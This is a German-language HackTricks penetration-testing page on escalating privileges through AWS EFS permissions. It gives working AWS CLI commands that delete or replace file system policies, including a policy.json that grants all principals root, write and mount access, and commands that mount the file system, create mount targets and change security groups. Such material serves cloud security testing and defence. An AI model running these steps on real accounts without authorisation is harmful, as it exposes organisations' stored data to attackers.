AWS - EFS Privesc

Unterstützen Sie HackTricks

EFS

Weitere Informationen zu EFS unter:

AWS - EFS Enum

Denken Sie daran, dass Sie in einem Subnetzwerk sein müssen, in dem das EFS freigegeben ist und Zugriff darauf haben (Sicherheitsgruppen), um ein EFS einbinden zu können. Wenn dies der Fall ist, können Sie es standardmäßig immer einbinden. Wenn es jedoch durch IAM-Richtlinien geschützt ist, benötigen Sie die hier erwähnten zusätzlichen Berechtigungen, um darauf zugreifen zu können.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Mit einer dieser Berechtigungen kann ein Angreifer die Dateisystemrichtlinie ändern, um Ihnen den Zugriff darauf zu gewähren, oder sie einfach löschen, damit der Standardzugriff gewährt wird.

Um die Richtlinie zu löschen:

aws efs delete-file-system-policy \
--file-system-id <value>

Um es zu ändern:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Mit dieser Berechtigung kann ein Angreifer das EFS einbinden. Wenn die Schreibberechtigung nicht standardmäßig für alle, die das EFS einbinden können, erteilt wird, hat er nur Lesezugriff.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Die zusätzlichen Berechtigungen elasticfilesystem:ClientRootAccess und elasticfilesystem:ClientWrite können verwendet werden, um innerhalb des Dateisystems zu schreiben, nachdem es eingehängt wurde, und um auf dieses Dateisystem als Root zuzugreifen.

Potenzielle Auswirkungen: Indirekte Privilege Escalation durch Auffinden sensibler Informationen im Dateisystem.

elasticfilesystem:CreateMountTarget

Wenn ein Angreifer sich in einem Teilnetzwerk befindet, in dem kein Mount-Ziel des EFS existiert, könnte er einfach eines in seinem Subnetz erstellen mit dieser Berechtigung:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Potenzielle Auswirkungen: Indirekte Privilege Escalation durch Auffinden sensibler Informationen im Dateisystem.

elasticfilesystem:ModifyMountTargetSecurityGroups

In einem Szenario, in dem ein Angreifer feststellt, dass das EFS ein Mount-Ziel in seinem Subnetz hat, aber keine Sicherheitsgruppe den Datenverkehr zulässt, könnte er einfach dies ändern, indem er die ausgewählten Sicherheitsgruppen modifiziert:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Potenzielle Auswirkungen: Indirekte Privilege Escalation durch Auffinden sensibler Informationen im Dateisystem.

Unterstützen Sie HackTricks

Last updated